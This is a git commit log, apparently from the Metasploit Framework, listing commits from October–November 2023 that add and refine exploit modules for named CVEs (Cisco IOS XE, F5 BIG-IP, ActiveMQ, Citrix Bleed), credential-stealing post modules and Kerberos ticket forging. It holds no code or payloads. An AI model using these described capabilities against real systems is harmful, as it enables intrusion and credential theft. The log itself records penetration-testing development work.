Ashley Donaldson 2ead152173 Add specific module to perform ASREP-roasting 2023-11-24 07:43:49 +11:00
Kevin Joensen 8c007c0ef7 added exploit for CVE-2023-32781 - PRTG authenticated RCE 2023-11-23 19:28:02 +01:00
Balgogan e1b3c56de8 Add reference 2023-11-23 19:27:11 +01:00
Balgogan 65ea1188e2 Add suggested changes 2023-11-23 18:22:36 +01:00
Christophe De La Fuente 0d591a3136 Land #18526, Add a command to customise DNS resolution 2023-11-23 17:46:16 +01:00
Valentin Lobstein c60da4ad58 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-11-23 17:33:19 +01:00
Valentin Lobstein d20a1703b1 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-11-23 17:32:57 +01:00
Metasploit 21d23be8e3 Bump version of framework to 6.3.45 2023-11-23 09:57:42 -06:00
Balgogan 31daaf58fe Add wp_royal_elementor_addons_rce 2023-11-23 05:15:28 +01:00
Jack Heysel 397b9971a3 Clean up started 2023-11-22 21:06:55 -05:00
Jack Heysel c0be4c2f72 working end to end unix confluence 7.18 2023-11-22 19:49:38 -05:00
Ashley Donaldson 473ded345b Fix UDP detection when DNS resolution is not on 2023-11-23 10:34:09 +11:00
Spencer McIntyre 4321aafe77 Land #18547, Update ssh login pubkey module
Update ssh login pubkey module to correctly identify windows ssh platform
2023-11-22 17:09:06 -05:00
adfoster-r7 bccd906bd2 Land #18564, Fix an uninitialized constant error in capture/http 2023-11-22 19:22:45 +00:00
Spencer McIntyre e9d6bab975 Move the ServerClient code into a dedicated file 2023-11-22 13:34:18 -05:00
Spencer McIntyre 98e6bae077 Fix an uninitialized constant error
This error was introduced by the loader changes in
acf23e9c61
2023-11-22 11:51:55 -05:00
Ashley Donaldson ef9a165d22 Changes from code review 2023-11-22 16:43:02 +11:00
Jack Heysel e6e2106140 Auth bypass, auth, shell upload, working 2023-11-21 22:14:27 -05:00
Balgogan 9b050e29ae Add suggested changes 2023-11-22 00:53:12 +01:00
Balgogan fff8d20eb8 Add suggested changes 2023-11-22 00:50:57 +01:00
h00die bba178e87f crack windows 2023-11-21 17:11:15 -05:00
h00die 4bca269e01 doc overhaul 2023-11-21 17:11:15 -05:00
h00die 46909f63bc linux cracker enhancements 2023-11-21 17:11:15 -05:00
h00die 06b6e969e4 better aix crack 2023-11-21 17:11:15 -05:00
h00die aa27b140cf crack aix rewrite 2023-11-21 17:11:15 -05:00
h00die 38313e9962 rubocop 2023-11-21 17:11:15 -05:00
Ashley Donaldson 34bd661d3f Fall back to other server if first one fails 2023-11-22 09:06:06 +11:00
Spencer McIntyre 8d4ae4bc78 Check the cache for a TGT without a host
This fixes allows forged golden tickets to be reused from the cache
2023-11-21 14:19:47 -05:00
Balgogan 2750deedee Update 2023-11-21 18:28:28 +01:00
Valentin Lobstein 218f652429 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-21 17:08:55 +01:00
Metasploit dd701c1cfa automatic module_metadata_base.json update 2023-11-21 09:56:54 -06:00
Simon Janusz 9870d97ece Land #18538, Update database connection logic to avoid startup crashes 2023-11-21 15:32:01 +00:00
Simon Janusz 08123a190c Land #18552, Add support for Ruby 3.3.0-preview3 2023-11-21 15:31:11 +00:00
adfoster-r7 7f8da5a121 Land #18558, Support x64 in enum_chrome 2023-11-21 15:26:56 +00:00
Metasploit 86281e860d automatic module_metadata_base.json update 2023-11-21 08:08:09 -06:00
adfoster-r7 5c09c86349 Land #18448, corrected options confict between module and ldap mixin 2023-11-21 13:33:21 +00:00
adfoster-r7 d98a1e9aaa Land #18548, Refactor the ghostcat module to use the AJP definitions provided by Rex::Proto 2023-11-21 13:29:11 +00:00
Ashley Donaldson 1b4099f5a3 Copy across some more properties from the PAC 2023-11-21 13:51:05 +11:00
Balgogan f0ab3a7140 Fix typo 2023-11-21 02:13:58 +01:00
Balgogan 58425df0ef Update vinchin_backup_recovery_cmd_inject exploit and documentation 2023-11-21 02:09:24 +01:00
Spencer McIntyre 13ae9fcded Refactor things in #decrypt_data
* Check that the initial memory was actually allocated before writing to
  it
* Don't pass 16 to CryptUnprotectData as the ppszDataDescr parameter
  because it is not a valid LPWSTR
* Don't leak memory in the event that CryptUnprotectData by ensuring mem
  and addr are always free'ed
* Combine free calls into one for speed
* Don't assume the sessions is ARCH_X64 if it is not ARCH_X86 because
  that may change some day
2023-11-20 16:40:42 -05:00
Spencer McIntyre 9d757990fe Fix LocalAlloc/LocalFree definitions
Railgun should not be using DWORD for pointer sizes because it breaks
things on 64-bit sessions.

Fixes #18544
2023-11-20 16:23:33 -05:00
Valentin Lobstein d59d5e5524 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:07:04 +01:00
Valentin Lobstein 4e1ec6484a Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:06:51 +01:00
Valentin Lobstein 8eb1f61217 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:06:41 +01:00
Valentin Lobstein 223cb245ba Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:06:05 +01:00
Valentin Lobstein 13b19ba537 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:05:54 +01:00
Valentin Lobstein 00cc8dcc09 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-20 19:05:45 +01:00
Ashley Donaldson 45a5c62308 Fix diamond tickets 2023-11-20 10:11:38 +11:00
adfoster-r7 cb83782159 Add support for Ruby 3.3.0-preview3 2023-11-18 01:52:34 +00:00
Spencer McIntyre 69e5caa1a0 Refactor the ghostcat module to use the AJP defs 2023-11-17 12:58:05 -05:00
adfoster-r7 1b12dc3940 Update ssh login pubkey module to correctly identify windows ssh platform 2023-11-17 12:51:01 +00:00
Ashley Donaldson 5e9ff17e59 Handle NTHASH tickets, including warning users that it's a terrible idea 2023-11-17 19:24:25 +11:00
Ashley Donaldson fb9bd2cae1 Use empty string for missing values rather than nil 2023-11-17 15:09:30 +11:00
Ashley Donaldson 9d873cb7ac Fix bug in writing UpnDnsInfo structure, and include in sapphire PAC 2023-11-17 13:49:55 +11:00
Ashley Donaldson 24490cbe1e Replicate Logon domain name and extra sids from sapphire ticket 2023-11-17 13:16:40 +11:00
Metasploit 56016cb3e7 Bump version of framework to 6.3.44 2023-11-16 12:06:13 -06:00
Balgogan 42cdda7200 Vinchin 2023-11-16 18:10:42 +01:00
dwelch-r7 a41fd9deda Land #18532, Fix db2 scanner module crashes 2023-11-16 15:21:48 +00:00
Valentin Lobstein 24fc989305 Merge branch 'rapid7:master' into master 2023-11-16 16:09:36 +01:00
Ashley Donaldson 4e6a29d0fb Implement sapphire tickets 2023-11-15 22:31:11 +11:00
adfoster-r7 e011fbeb32 Land #18516, extract common dispatcher commands into a single resuable mixin
Extract reusable core session commands
2023-11-15 11:25:52 +00:00
Ashley Donaldson bdb13601ae Implement diamond tickets 2023-11-15 16:13:01 +11:00
h00die-gr3y ef84759dd4 Fixed an issue in the DIR-300 rev B version check 2023-11-14 20:40:38 +00:00
adfoster-r7 ad608f6999 Update database connection logic to avoid startup crashes 2023-11-14 18:29:14 +00:00
h00die-gr3y 3fa9416044 update addressing latest comments 2023-11-14 17:15:25 +00:00
adfoster-r7 fc988c2033 Fix db2 scanner module crashes 2023-11-13 21:41:28 +00:00
h00die-gr3y 6e1580e5f5 added target DIR-845L 2023-11-13 14:48:59 +00:00
h00die-gr3y 51523e0971 release updating dlink_upnp_msearch_exec exploit module 2023-11-13 12:15:04 +00:00
adfoster-r7 04361e1005 Land #18524, Update reverse_tcp.md, improper switches 2023-11-13 12:08:00 +00:00
Metasploit 7cd14a81b3 automatic module_metadata_base.json update 2023-11-10 14:44:04 -06:00
Jack Heysel 1da4333611 Land #18434, Add module for Zoneminder RCE
This PR adds an RCE module for the Zoneminder video
surveillance software system (CVE-2023-26035).
2023-11-10 15:15:01 -05:00
cgranleese-r7 6659684fdf Land #18440, Add remote webservice deletion notice 2023-11-10 10:24:34 +00:00
Ashley Donaldson 1a07ab5aee Improved comments on functions 2023-11-10 15:56:45 +11:00
Ashley Donaldson 987bed6972 Remove unimplemented command 2023-11-10 15:01:45 +11:00
Ashley Donaldson f351d7b5e1 Don't create DNS cached resolver on every test, because it'll exhaust the OS's resources 2023-11-10 12:07:37 +11:00
Brady Jackson fec66b5bbe Update reverse_tcp.md, improper switches
Improper usage of switches presented in documentation
2023-11-09 19:36:28 -05:00
Gaurav Jain 6056081de5 Change status message upon completion of exploit 2023-11-10 05:28:10 +05:30
Gaurav Jain 8301e6c766 Use Rex::RandomIdentifier::Generator to generate payload variables names 2023-11-10 05:25:59 +05:30
Wolfgang Hotwagner 5d5f711dcd updated documentation 2023-11-09 22:40:36 +00:00
Wolfgang Hotwagner 9ce3fdc557 added empty line after guard clause 2023-11-09 22:23:27 +00:00
whotwagner 4919291ec8 Update modules/exploits/unix/webapp/zoneminder_snapshots.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-11-09 23:21:39 +01:00
whotwagner 21340d0fd8 Update modules/exploits/unix/webapp/zoneminder_snapshots.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-11-09 23:21:26 +01:00
whotwagner 87cb12731e Update modules/exploits/unix/webapp/zoneminder_snapshots.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-11-09 23:20:57 +01:00
whotwagner e4005feb30 Update modules/exploits/unix/webapp/zoneminder_snapshots.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-11-09 23:20:33 +01:00
whotwagner 110cea8cc9 Update modules/exploits/unix/webapp/zoneminder_snapshots.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-11-09 23:20:17 +01:00
Balgogan 7482948ab7 Fix 2023-11-09 20:05:39 +01:00
Balgogan c5cfc995c2 Add vinchin_backup_recovery_cmd_inject 2023-11-09 19:47:27 +01:00
Metasploit 3d98cf7e85 Bump version of framework to 6.3.43 2023-11-09 12:08:08 -06:00
Metasploit eef180f9c8 automatic module_metadata_base.json update 2023-11-09 11:36:08 -06:00
bwatters b5aeab0c9f Merge #18491, Add Module for PL/SQL Developer to gather credentials
Merge branch 'land-18491' into upstream-master
2023-11-09 11:18:52 -06:00
Jemmy Wang 893da00c6a Modify Table DisplayName and password matching regex 2023-11-09 13:58:14 +08:00
Ashley Donaldson d0585e0df5 Added unit tests 2023-11-09 14:45:06 +11:00
Jemmy Wang a4750b11bc Optimize AES key 2023-11-09 05:26:20 +08:00
Jemmy Wang 9c23f86d83 Add support for v15 new encryption algorithm 2023-11-09 05:08:27 +08:00
Metasploit beaa1273cc automatic module_metadata_base.json update 2023-11-08 09:22:03 -06:00
bwatters 77a93e452f Land #18507, Exploit & Auxiliary modules for CVE-2023-20198 and CVE-2023-20273 (Cisco IOS XE)
Merge branch 'land-18507' into upstream-master
2023-11-08 09:05:40 -06:00
Stephen Fewer 64c9968328 Update cisco_ios_xe_os_exec_cve_2023_20273.md, which was missing CISCO_ADMINUSERNAME and CISCO_ADMIN_PASSWORD in the show options command output
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-11-08 09:16:12 +00:00
Jack Heysel c243125612 Land #18379, Improve ccache hostname matching
The service authenticator was filtering out valid credentials
when the hostname wasnt an exact match when credentials for
a domain should work on a subdomaini. This PR fixes that issue.
2023-11-07 22:08:15 -05:00
Metasploit d8f36d65a8 automatic module_metadata_base.json update 2023-11-07 19:25:12 -06:00
Jack Heysel 06369281b9 Land #18503, Apache Nifi Cred Stealer Post Module
This PR adds a post module to steal config and credential
information for Apache NiFi.
2023-11-07 20:05:10 -05:00
Ashley Donaldson 8ce328022c Clearer dns feature results 2023-11-08 11:15:01 +11:00
jheysel-r7 7331db43dd Update print statement 2023-11-07 18:55:42 -05:00
Ashley Donaldson 00f508170c Implemented tab completion for DNS command 2023-11-08 10:16:22 +11:00
Ashley Donaldson 1a7eefd972 Support saving and loading DNS in the MSF config file 2023-11-08 07:38:12 +11:00
Dean Welch ea41ec7a5d Fix tests leaving behind threads 2023-11-07 17:43:43 +00:00
Jemmy Wang d4166098a8 Update to be compatible for PL/SQL 14 2023-11-08 01:15:22 +08:00
Dean Welch 82057178ca log threads with no uuid 2023-11-07 15:31:46 +00:00
Dean Welch 67a343230d Fix thread count 2023-11-07 14:10:47 +00:00
h00die 87cd4aac5e spelling fix 2023-11-07 05:04:31 -05:00
sfewer-r7 2a56c3f28b remove redundant \d in check regex 2023-11-07 09:21:04 +00:00
sfewer-r7 7024d4ecac remove redundant unless expression 2023-11-07 09:06:58 +00:00
Stephen Fewer 4dec6640c0 fix typo in cisco_ios_xe.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-07 09:02:12 +00:00
Ashley Donaldson 7442655ab9 Override to TCP when encountering UDP-unfriendly comms 2023-11-07 15:58:45 +11:00
Ashley Donaldson 21f3335c31 Fully integrated Rex-socket-friendly DNS 2023-11-07 14:05:24 +11:00
h00die f1317fa050 review comments 2023-11-06 18:34:36 -05:00
h00die 0ce7b03397 update nifi credentials post module 2023-11-06 14:50:02 -05:00
Ashley Donaldson a7c4b29748 Register nameserver with framework 2023-11-07 06:46:06 +11:00
sfewer-r7 25ef7d1272 add the RCE exploit 2023-11-06 17:12:40 +00:00
sfewer-r7 8364ae896b add the CLI command to sue to enable testing the WebUI 2023-11-06 17:11:39 +00:00
Dean Welch c7e0e094fa Add core session commands and test suite 2023-11-06 16:34:37 +00:00
Metasploit db08ff5293 automatic module_metadata_base.json update 2023-11-06 09:51:49 -06:00
bwatters e8d45b00ba Land #18501, Exploit module for CVE-2023-46604 - Apache ActiveMQ
Merge branch 'land-18501' into upstream-master
2023-11-06 09:30:48 -06:00
sfewer-r7 b28668790d allow user to explicitly specify a CLI mode. Valid modes are 'user', 'privileged', and 'global'. 2023-11-06 11:40:22 +00:00
sfewer-r7 10ee87c712 Add an optional CISCO_ADMIN_USERNAME and CISCO_ADMIN_PASSWORD options. If set these admin creds are used to leverage CVE-2023-20273. If not set, then CVE-2023-20198 is used to create a new temp admin account before leveraging CVE-2023-20273 2023-11-06 10:20:07 +00:00
Stephen Fewer be1229747f fix another typo on documentation
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-06 09:47:38 +00:00
Stephen Fewer 22cb55b36b fix type on documentation
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-06 09:47:23 +00:00
sfewer-r7 ea21036995 reduce nesting in the check routine 2023-11-06 09:42:59 +00:00
sfewer-r7 4272678938 reduce the indentation in on_request_uri 2023-11-06 09:36:20 +00:00
sfewer-r7 fa8c40072c ensure the payload doesnt contain a CDATA closing tag, if found then fail before we attempt exploitation 2023-11-06 09:36:20 +00:00
Gaurav Jain b9c65d5b75 Delete log entries on target 2023-11-06 02:00:25 +05:30
Gaurav Jain ba196b4264 Handle serving of payloads for different targets 2023-11-06 01:57:44 +05:30
JustAnda7 6ba5d03993 Addition-of-suitable-tests-for-the-libraries 2023-11-04 11:43:01 -04:00
JustAnda7 672d651221 Optimization-of-the-libraries-using-Net-NTLM 2023-11-04 11:41:27 -04:00
Metasploit c06d491d28 automatic module_metadata_base.json update 2023-11-03 15:01:42 -05:00
Christophe De La Fuente 1cde6198b5 Land #18481, MagnusBilling unauthenticated RCE [CVE-2023-30258] 2023-11-03 20:42:27 +01:00
sfewer-r7 a55132b36f strip out "**CLI Line # " from the results and use print_line instead of print_status for cleaner output. 2023-11-03 17:09:08 +00:00
sfewer-r7 c8121ebd8e mention dropping to User EXEC mode via two exit keywords 2023-11-03 16:43:21 +00:00
Metasploit 21225552b5 automatic module_metadata_base.json update 2023-11-03 11:34:35 -05:00
Jack Heysel ce5188a76c Land #18218, improve Windows checkvm post module
This PR includes a number of enhancements to the windows
checkvm post module, including reducing the number of requests
set to the targets among other things.
2023-11-03 12:17:06 -04:00
sfewer-r7 17420289dc Add two auxiliary modules for the recent Cisco IOS XE exploit chain bugs (CVE-2023-20198 and CVE-2023-20273). This allows for unauthenticated remote CLI or OS command execution. 2023-11-03 15:38:35 +00:00
jheysel-r7 23110e2ee3 Update modules/post/windows/gather/checkvm.rb 2023-11-03 11:18:55 -04:00
Metasploit 5163aeb3f2 automatic module_metadata_base.json update 2023-11-03 10:10:51 -05:00
Jack Heysel 8bb7b98ce9 Land #18506, Fix stability issue for f5 2023-46747
This PR fixes a statbility issue with the
f5_bigip_tmui_rce_cve_2023_46747 module. Prior to this fix
occasionally the module would fail on login as things were
running too quickly, the module now retrys loging in.
2023-11-03 10:51:04 -04:00
Ashley Donaldson dd209deeb3 Initial syntax handling for DNS command 2023-11-03 12:04:41 +11:00
Spencer McIntyre e5790f8d6e Fix a stability issue with the module
Occassionally the module will fail on login if things are running too
quickly. Fix it by retrying like update_user_password does.
2023-11-02 17:10:20 -04:00
Metasploit 5b888c49cb automatic module_metadata_base.json update 2023-11-02 14:30:08 -05:00
adfoster-r7 eef0527668 Land #18504, add date and link on grafana dir traversal module 2023-11-02 19:13:31 +00:00
Metasploit 5584a5a31e automatic module_metadata_base.json update 2023-11-02 13:27:53 -05:00
Jack Heysel c27412a1ac Land #18494, Add AjaxPro Deserialization RCE
This PR adds a module which leverages an insecure
deserialization of data to get remote code execution
on the target OS in the context of the user running
the website which utilized AjaxPro.
2023-11-02 13:54:17 -04:00
Stephen Fewer 00104ce467 Update documentation to specify bin directory
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-11-02 17:41:21 +00:00
Stephen Fewer 8b70c3ec77 Update documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-11-02 17:40:54 +00:00
Metasploit 289dcf733c Bump version of framework to 6.3.42 2023-11-02 12:08:06 -05:00
Metasploit dc26c6d10f automatic module_metadata_base.json update 2023-11-02 11:09:41 -05:00
Jemmy Wang f83f183fe2 Apply Code Suggestions from review 2023-11-03 00:04:20 +08:00
Jack Heysel 17f7d5c253 Land #18497, Add Exploit For F5 CVE-2023-46747
This module exploits a flaw in F5s BIG-IP Traffic Management User
Interface (TMUI) that enables an external, unauthenticated
attacker to create an administrative user. The attacker can then use
the admin user to execute arbitrary code in the context of the root user.
2023-11-02 11:46:15 -04:00
Spencer McIntyre 27d86be456 Remove the REPEATABLE_SESSION tag
The module is generally reliable, but may fail after it's been run multiple
times.
2023-11-02 11:11:36 -04:00
Spencer McIntyre cea4c1f326 Feedback from module review 2023-11-02 10:17:45 -04:00
Spencer McIntyre d26742a266 Add check code annotations, update AJP link 2023-11-02 08:53:56 -04:00
h00die c55290a44a date and link on grafana dir traversal module 2023-11-02 07:43:01 -04:00
h00die 42cf28dbbe nifi creds stealer 2023-11-02 06:56:33 -04:00
sfewer-r7 05f0b6a70c change the verification stesp to be for alinux target, as the testing steps above are for linux 2023-11-02 10:28:21 +00:00
sfewer-r7 58d03a3dab add in documentation 2023-11-02 10:26:02 +00:00
sfewer-r7 24810183ca add in a unix target as ActiveMQ can run on OSX 2023-11-02 10:25:45 +00:00
sfewer-r7 94b5211525 set exploit Stance to Agressive 2023-11-02 09:32:36 +00:00
Jemmy Wang 763fae6cd7 Fix typo to pass msftidy 2023-11-02 10:41:53 +08:00
Jemmy Wang a7e8be4860 Fix code styling to pass msftidy 2023-11-02 10:35:49 +08:00
Jemmy Wang 9f9f18c73f Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-11-02 10:10:26 +08:00
Spencer McIntyre 9c67b92a4d Rename the other TMUI RCE module 2023-11-01 16:55:42 -04:00
Spencer McIntyre 7b53592b4f Add module docs 2023-11-01 16:55:41 -04:00
Spencer McIntyre 03252913a1 Add the check method 2023-11-01 16:55:41 -04:00
Spencer McIntyre 714eeaaa3a Finish cleaning the exploit up 2023-11-01 16:55:36 -04:00
sfewer-r7 df040b30aa typos and improve comments 2023-11-01 17:59:00 +00:00
sfewer-r7 a408181def Add initial work on exploit module for CVE-2023-46604 2023-11-01 17:34:30 +00:00
adfoster-r7 edfa1e6011 Add remote webservice deletion notice 2023-10-31 22:45:34 +00:00
Spencer McIntyre c803d6ef7e Fetch the admin hash as a bonus 2023-10-31 15:27:31 -04:00
Dean Welch 3f3531d119 Add test for command shell sessions 2023-10-31 16:35:58 +00:00
Spencer McIntyre 04388d9e25 Initial commit of CVE-2023-46747 2023-10-31 09:55:18 -04:00
h00die-gr3y ad6e4618df third release module with minor text changes 2023-10-31 09:29:13 +00:00
h00die-gr3y bfff35eb63 second release module with php fix 2023-10-31 09:05:51 +00:00
Jemmy Wang 00ccebe8ce Upadte documentation for AjaxPro Deserializaion RCE 2023-10-31 13:31:10 +08:00
Jemmy Wang 62f3dafd91 Apply CheckCode message suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-10-31 10:45:58 +08:00
Jack Heysel df47814029 Land #18454, add AppleTV and Axis Login Doc files. 2023-10-30 16:38:14 -04:00
Metasploit 8ca35b0d2c automatic module_metadata_base.json update 2023-10-30 14:54:27 -05:00
bwatters ac6aa53fc7 Land #18386, Add a new lmkdir command
Merge branch 'land-18386' into upstream-master
2023-10-30 14:36:56 -05:00
Christophe De La Fuente ec3cf74ff3 Land #18492, Add module for Citrix Bleed (CVE-2023-4966) 2023-10-30 17:25:53 +01:00
Gaurav Jain 9bd819e2d7 Add java in-memory target for manageengine servicedesk exploit 2023-10-30 20:12:37 +05:30
Metasploit 351e35d9f1 automatic module_metadata_base.json update 2023-10-30 09:05:57 -05:00
Spencer McIntyre 6e9facbefb Merge pull request #18419 from smashery/dcsync_kerberos
DCSync using Kerberos Pass-the-Ticket
2023-10-30 09:41:22 -04:00
Ashley Donaldson 2a699b89fa Changes from code review 2023-10-30 12:51:55 +11:00
Spencer McIntyre 3bf4c0e7b1 Add the peer prefix to messages 2023-10-27 13:48:45 -04:00
Jemmy Wang 40683ff591 Add document for AjaxPro Deserialization RCE Module 2023-10-28 01:37:34 +08:00
Jemmy Wang cd3556dd71 Add Exploit for AjaxPro Deserialization RCE (CVE2021-23758) 2023-10-28 00:48:52 +08:00
Spencer McIntyre 7b76cc01f9 Add x86 support to windows/manage/kerberos_tickets 2023-10-27 12:47:19 -04:00
Spencer McIntyre 7e4e6edc2f Fix a typo in the constant name 2023-10-27 12:47:19 -04:00
Spencer McIntyre 54bce7fcb5 Add module docs 2023-10-27 12:47:19 -04:00
Spencer McIntyre b44bf1ce7e Resolve the ticket host 2023-10-27 12:47:19 -04:00
Spencer McIntyre 7137820381 Refactor the module and update output handling 2023-10-27 12:47:19 -04:00
Spencer McIntyre 79a3e756b3 Add the ENUM_LUIDS action 2023-10-27 12:47:19 -04:00
Spencer McIntyre 98906a5976 Add the SHOW_LUID action, refactor printed output 2023-10-27 12:47:19 -04:00
Spencer McIntyre 7b4caf79f8 Move the code into libraries for reuse 2023-10-27 12:47:19 -04:00
Spencer McIntyre 3a6086d88b Initial kerberos_tickets WIP 2023-10-27 12:47:19 -04:00
Spencer McIntyre 0dea63904f Allow passing pointers for PBLOB in parameters
This will cause railgun to use the pointer as is it were defined as an
LPVOID parameter type. This is useful in cases where the contents are
already in the target's memory.
2023-10-27 12:47:19 -04:00
Spencer McIntyre ba9cb1ef40 Update advapi32 definitions
Add definitions for ConvertSidToStringSid and fix the data type of the
ThreadHandle parameter.
2023-10-27 12:47:19 -04:00
Spencer McIntyre 71f019c359 Add initial secur32.dll railgun definitions 2023-10-27 12:47:19 -04:00
Spencer McIntyre ff699aae00 Accept BinData::Struct instances in railgun
This updates railgun to accept BinData::Structs in key locations of
railgun for convenience.
2023-10-27 12:47:19 -04:00
Spencer McIntyre 5b5d5ade40 Free data using the new util API 2023-10-27 12:47:19 -04:00
Spencer McIntyre 1dc4e35134 Fix typos and log vulnerable servers
Log servers that are vulnerable but don't leak any cookies
2023-10-27 11:47:01 -04:00
Metasploit bd3a6065b1 automatic module_metadata_base.json update 2023-10-27 06:42:28 -05:00
adfoster-r7 3b4302d902 Land #18441, Add at rest encryption to Meterpreter payloads 2023-10-27 12:18:19 +01:00
Metasploit 369c66a85e Bump version of framework to 6.3.41 2023-10-26 13:58:52 -05:00
Jemmy Wang 93c13ad6a7 Apply document suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-10-27 02:02:00 +08:00
Metasploit 0cae369a45 automatic module_metadata_base.json update 2023-10-26 10:49:41 -05:00
Zach Goldman d960aa522c Land #18348, Splunk account take over (CVE-2023-32707) leading to RCE 2023-10-26 11:34:02 -04:00
dwelch-r7 816048b9f5 Land #18479, No longer clear remote service msfdb creds by default 2023-10-26 15:09:00 +01:00
Spencer McIntyre 94ede61a99 Add module docs 2023-10-26 09:52:59 -04:00
Spencer McIntyre 8bd976e118 Initial commit of Citrix Bleed (CVE-2023-4966) 2023-10-26 09:15:03 -04:00
Heyder Andrade e5e58bc0be Update modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
Co-authored-by: Zach Goldman <106169455+zgoldman-r7@users.noreply.github.com>
2023-10-26 14:03:06 +02:00
Jemmy Wang d07ad325b2 Add document for PL/SQL Developer gather credential module 2023-10-26 19:38:52 +08:00
Jemmy Wang 013e4b5af2 Add Module for PL/SQL Developer to gather credentials 2023-10-26 19:38:02 +08:00
adfoster-r7 b58f963355 Land #18299, extend error message for timeouts to include more detail to user 2023-10-26 00:21:22 +01:00
adfoster-r7 216f6fbfc5 Land #18466, Replace grep with getent in entrypoint.sh 2023-10-25 21:22:26 +01:00
adfoster-r7 93645c23ac Land #18403, Fix FileDropper to properly clone string variables before storing them 2023-10-25 20:55:06 +01:00
Spencer McIntyre 0b7f079d25 Bump RubySMB to 3.2.6 2023-10-25 15:04:03 -04:00
Spencer McIntyre 235009d0de Use the new AlterContext definition 2023-10-25 15:02:20 -04:00
Metasploit a503152236 automatic module_metadata_base.json update 2023-10-25 12:55:11 -05:00
Christophe De La Fuente 9e5e57390f Land #18194, Useradd post module 2023-10-25 19:29:59 +02:00
Christophe De La Fuente 14a5aaab98 Fix small typo 2023-10-25 19:28:23 +02:00
Zach Goldman 862e738015 extend error message for timeouts to include more detail to user
initial functionality, testing/cleanup still needed

script and command functionality

remove unnecessary accessor

switch puts to print_error in proc

ensure proc is reset, run on every error, add yard docs

fix yard, refactor/remove dead code

rename on_error_proc
2023-10-25 11:08:00 -05:00
dwelch-r7 9e77eba39b Land #18487, Fix flakey test failure 2023-10-25 14:45:00 +01:00
adfoster-r7 a97cc128f7 Fix flakey test failure 2023-10-25 14:09:34 +01:00
Heyder Andrade c0af43c10b Update modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
Co-authored-by: Zach Goldman <106169455+zgoldman-r7@users.noreply.github.com>
2023-10-25 11:02:30 +02:00
Spencer McIntyre 9253b35fb2 Allow freeing allocated utility strings
Also use HeapAlloc so we're not leaking entire pages.
2023-10-24 17:18:36 -04:00
h00die-gr3y 5c89df694c added documentation 2023-10-24 18:34:29 +00:00
Metasploit 70ae201d5f automatic module_metadata_base.json update 2023-10-24 10:55:19 -05:00
Christophe De La Fuente ff9639e6a6 Land #18460, VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE 2023-10-24 17:32:28 +02:00
h00die-gr3y 50b7e0305e first release module 2023-10-24 15:29:18 +00:00
sjanusz-r7 c73e815974 Bump metasploit-payloads 2023-10-24 15:46:18 +01:00
adfoster-r7 96a04265c7 Land #18470, Adds wiki guide for session searching and killing stale sessions 2023-10-24 15:30:46 +01:00
Christophe De La Fuente 59c277ba67 Land #18737, Add DB Stats Command to Console 2023-10-24 16:12:39 +02:00
Heyder Andrade 5e19c8fd88 Update splunk_privilege_escalation_cve_2023_32707.rb 2023-10-24 14:44:27 +02:00
Zach Goldman 8331f4d2ad Adds wiki guide for session searching
Also tweaks an error message

add readme to directory
2023-10-23 15:33:53 -05:00
h00die 3bf880192e review comments 2023-10-23 10:28:33 -04:00
h00die 0d2a5795fe total to bottom 2023-10-23 10:28:33 -04:00
h00die ed78df0f0f add creds and klist to db_stats 2023-10-23 10:28:33 -04:00
h00die 7452cda2b1 db_stats review comments 2023-10-23 10:28:33 -04:00
h00die 5f2703f8c0 add stats command 2023-10-23 10:28:33 -04:00
Christophe De La Fuente b0b4da543d Land #18400, Kerberos ticket_search fix passing in a workspace 2023-10-23 16:17:24 +02:00
Christophe De La Fuente 77a8b0efa2 Land #18421, Save Kerberos tickets in the MSF cache upon a successful login 2023-10-23 15:25:09 +02:00
adfoster-r7 5efaa32bd0 No longer clear msfdb creds by default 2023-10-23 11:55:24 +01:00
h00die fa71d8b6e2 set all targets to dynamically build list 2023-10-23 06:54:38 -04:00
h00die 97f9edb5f7 review 2023-10-23 06:35:23 -04:00
